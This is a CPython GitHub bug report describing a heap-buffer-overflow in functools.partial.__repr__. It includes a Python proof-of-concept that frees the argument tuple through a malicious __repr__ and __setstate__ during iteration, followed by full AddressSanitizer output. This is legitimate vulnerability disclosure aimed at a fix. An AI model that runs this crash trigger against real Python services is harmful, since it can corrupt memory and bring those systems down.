-
-
Notifications
You must be signed in to change notification settings - Fork 34k
Open
Labels
extension-modulesC modules in the Modules dirC modules in the Modules dirtype-bugAn unexpected behavior, bug, or errorAn unexpected behavior, bug, or error
Description
Bug report
Bug description:
A heap-buffer-overflow vulnerability exists in CPython's functools.partial.__repr__() method due to improper handling of borrowed references during iteration over pto->args.
Running with a Python interpreter compiled with ASAN (./configure --with-address-sanitizer):
import gc
from functools import partial
g_partial = None
class EvilObject:
def __init__(self, name, is_trigger=False):
self.name = name
self.is_trigger = is_trigger
self.triggered = False
def __repr__(self):
global g_partial
if self.is_trigger and not self.triggered and g_partial is not None:
self.triggered = True
# Replace args via __setstate__, this frees the old tuple
new_state = (lambda x: x, ("replaced",), {}, None)
g_partial.__setstate__(new_state)
gc.collect()
return f"EvilObject({self.name})"
evil1 = EvilObject("trigger", is_trigger=True)
evil2 = EvilObject("victim1")
evil3 = EvilObject("victim2")
evil4 = EvilObject("victim3")
evil5 = EvilObject("victim4")
p = partial(lambda: None, evil1, evil2, evil3, evil4, evil5)
g_partial = p
del evil1, evil2, evil3, evil4, evil5
repr(p) Asan output:
=================================================================
==430879==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5060000d4878 at pc 0x5c4743c6d881 bp 0x7ffc1076d330 sp 0x7ffc1076d320
READ of size 8 at 0x5060000d4878 thread T0
#0 0x5c4743c6d880 in partial_repr Modules/_functoolsmodule.c:712
#1 0x5c47436f8158 in PyObject_Repr Objects/object.c:779
#2 0x5c47436f8158 in PyObject_Repr Objects/object.c:754
#3 0x5c47435da5ef in _PyObject_VectorcallTstate Include/internal/pycore_call.h:136
#4 0x5c47435da5ef in PyObject_Vectorcall Objects/call.c:327
#5 0x5c474394258e in _Py_VectorCallInstrumentation_StackRefSteal Python/ceval.c:762
#6 0x5c4743498fc3 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1809
#7 0x5c474394f069 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:118
#8 0x5c474394f069 in _PyEval_Vector Python/ceval.c:2097
#9 0x5c474394f069 in PyEval_EvalCode Python/ceval.c:673
#10 0x5c4743a8f6ed in run_eval_code_obj Python/pythonrun.c:1366
#11 0x5c4743a8f6ed in run_mod Python/pythonrun.c:1469
#12 0x5c4743a9456e in pyrun_file Python/pythonrun.c:1294
#13 0x5c4743a9456e in _PyRun_SimpleFileObject Python/pythonrun.c:518
#14 0x5c4743a94fbb in _PyRun_AnyFileObject Python/pythonrun.c:81
#15 0x5c4743b0a0e9 in pymain_run_file_obj Modules/main.c:410
#16 0x5c4743b0a0e9 in pymain_run_file Modules/main.c:429
#17 0x5c4743b0a0e9 in pymain_run_python Modules/main.c:691
#18 0x5c4743b0b7de in Py_RunMain Modules/main.c:772
#19 0x5c4743b0b7de in pymain_main Modules/main.c:802
#20 0x5c4743b0b7de in Py_BytesMain Modules/main.c:826
#21 0x7005d3e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#22 0x7005d3e29e3f in __libc_start_main_impl ../csu/libc-start.c:392
#23 0x5c47434b8d34 in _start (/home/or4nge/cpython/python+0x20cd34)
0x5060000d4878 is located 0 bytes to the right of 56-byte region [0x5060000d4840,0x5060000d4878)
allocated by thread T0 here:
#0 0x7005d42b4887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x5c47439e5079 in _PyObject_MallocWithType Include/internal/pycore_object_alloc.h:46
#2 0x5c47439e5079 in gc_alloc Python/gc.c:2352
#3 0x5c47439e5079 in _PyObject_GC_NewVar Python/gc.c:2394
#4 0x5c4743762d6a in tuple_alloc Objects/tupleobject.c:57
#5 0x5c47437657b7 in PyTuple_New Objects/tupleobject.c:81
#6 0x5c47437657b7 in PyTuple_New Objects/tupleobject.c:75
#7 0x5c47439cad7f in fold_tuple_of_constants Python/flowgraph.c:1470
#8 0x5c47439cad7f in optimize_basic_block Python/flowgraph.c:2337
#9 0x5c47439cf342 in optimize_cfg Python/flowgraph.c:2546
#10 0x5c47439cf342 in _PyCfg_OptimizeCodeUnit Python/flowgraph.c:3658
#11 0x5c4743992c7a in optimize_and_assemble_code_unit Python/compile.c:1439
#12 0x5c4743992c7a in _PyCompile_OptimizeAndAssemble Python/compile.c:1481
#13 0x5c4743988122 in codegen_function_body Python/codegen.c:1411
#14 0x5c4743988122 in codegen_function Python/codegen.c:1503
#15 0x5c4743979224 in codegen_visit_stmt Python/codegen.c:3029
#16 0x5c474397fa1a in codegen_body Python/codegen.c:929
#17 0x5c474398142f in codegen_class_body Python/codegen.c:1592
#18 0x5c474398142f in codegen_class Python/codegen.c:1685
#19 0x5c474397b86a in codegen_visit_stmt Python/codegen.c:3031
#20 0x5c474397fa1a in codegen_body Python/codegen.c:929
#21 0x5c474398ade2 in _PyCodegen_Module Python/codegen.c:892
#22 0x5c474398d148 in compiler_codegen Python/compile.c:841
#23 0x5c47439930f6 in compiler_mod Python/compile.c:862
#24 0x5c47439930f6 in _PyAST_Compile Python/compile.c:1494
#25 0x5c4743a8f4d0 in run_mod Python/pythonrun.c:1419
#26 0x5c4743a9456e in pyrun_file Python/pythonrun.c:1294
#27 0x5c4743a9456e in _PyRun_SimpleFileObject Python/pythonrun.c:518
#28 0x5c4743a94fbb in _PyRun_AnyFileObject Python/pythonrun.c:81
#29 0x5c4743b0a0e9 in pymain_run_file_obj Modules/main.c:410
#30 0x5c4743b0a0e9 in pymain_run_file Modules/main.c:429
#31 0x5c4743b0a0e9 in pymain_run_python Modules/main.c:691
#32 0x5c4743b0b7de in Py_RunMain Modules/main.c:772
#33 0x5c4743b0b7de in pymain_main Modules/main.c:802
#34 0x5c4743b0b7de in Py_BytesMain Modules/main.c:826
#35 0x7005d3e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-buffer-overflow Modules/_functoolsmodule.c:712 in partial_repr
Shadow bytes around the buggy address:
0x0a0c800128b0: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa
0x0a0c800128c0: 00 00 00 00 00 00 00 00 fa fa fa fa fd fd fd fd
0x0a0c800128d0: fd fd fd fd fa fa fa fa 00 00 00 00 00 00 00 00
0x0a0c800128e0: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
0x0a0c800128f0: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
=>0x0a0c80012900: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00[fa]
0x0a0c80012910: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa
0x0a0c80012920: 00 00 00 00 00 00 00 00 fa fa fa fa fd fd fd fd
0x0a0c80012930: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fa
0x0a0c80012940: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa
0x0a0c80012950: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==430879==ABORTING
CPython versions tested on:
CPython main branch
Operating systems tested on:
Linux
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
extension-modulesC modules in the Modules dirC modules in the Modules dirtype-bugAn unexpected behavior, bug, or errorAn unexpected behavior, bug, or error